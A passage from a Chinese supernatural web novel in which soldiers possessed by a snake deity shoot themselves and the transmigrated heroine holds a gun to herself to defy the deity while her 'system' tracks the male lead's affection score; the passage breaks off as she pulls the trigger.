话音刚落,枪响声就“砰砰——”响起。 站在最前面的五名亲随军毫不犹豫的扣动扳机射杀了自己,血和五个人整整齐齐倒在地上,发出沉重的声音。 击溃了宋衍之,他看着眼前这荒诞而恐怖的一幕,整个人如坠冰窟。 他知道,这是柳仙,是柳仙在操控他们。 “我知道是你!”宋衍之双目赤红的看向柳仙庙,愤然怒喝:“孬种柳仙!是我要烧你的庙,剥你的皮!你要杀就杀我!” 他无法容忍他的军士们被鬼操控死在这里,他们是征战沙场的勇士,不该为了他、为了这孬种柳仙而死。 可下一秒又传来给枪上膛的声音。 车内的林素看着愤怒到浑身肌肉发颤的宋衍之,知道该火上浇油了,她立刻拉住了他握枪的手,抬起来顶住了自己的喉咙。 “秀秀!”宋文友先一步看见。 宋衍之低下头才看见枪口顶在她素白的脖子上,惊的匆忙要挣开:“你干什么?!” “蠢货。”林素这样骂他,却用温热的手指牢牢抓住他的手,那么纤细的手却有那么大的力道。 她用枪口顶着下巴转过头看向了后排僵坐着的宋显祖,“放了他的人。” 然后她“咔哒”一声给枪上膛。 “秀秀!” “林秀!”宋衍之心脏骤停,当然已经反应过来她这是向用自己的命来还亲随军的命。 柳仙千方百计的制造这些,不就是想要逼她回老宅吗?祂每句话都在命令她:回去。 祂需要林秀怀上孩子,成为祂的祭品,某种意义上林秀是柳仙的“妻子”。 可他不想这么做,他不想把枪口对准林秀,她像他的母亲一样无辜可怜,他怎么能用她来做人质?那和他的畜生爹有什么分别? “宿主!男主的攻略值涨到了百分之六十!”404激动的要昏过去了,谁敢想,这样一个崩坏的世界就这么顺利的马上要完成攻略任务了! 林素现在的兴致却完全不在宋衍之身上,她干脆手指一扭一划,从宋衍之手中卸走了他的枪,在昏暗的车厢里很近的看着“宋显祖”,将枪口从喉咙挪到了嘴巴里,笑着对祂说:“我要杀了我自己。” 像坏小孩的恶作剧。 “秀秀!” “林秀别乱动,会走火!”宋衍之和宋文友全都呼吸骤停。 另一个冰冷的声音从“宋显祖”喉咙里冒出来:“为了他,你要逃离我,现在又要杀了你自己。” “是啊。”林素含着、枪,露出一丝兴奋的表情靠近祂挑衅的说:“我要跟他离开你、离开这个鬼地方,为了他我都愿意去死。” 一道震耳欲聋的雷声劈在车顶,像是神明被触怒的警示。 同时“宋显祖”很快的凑近她,像是想闻到更多她的信息,分辨她的话是不是谎言。 可下一秒林素毫不犹豫扣动扳机。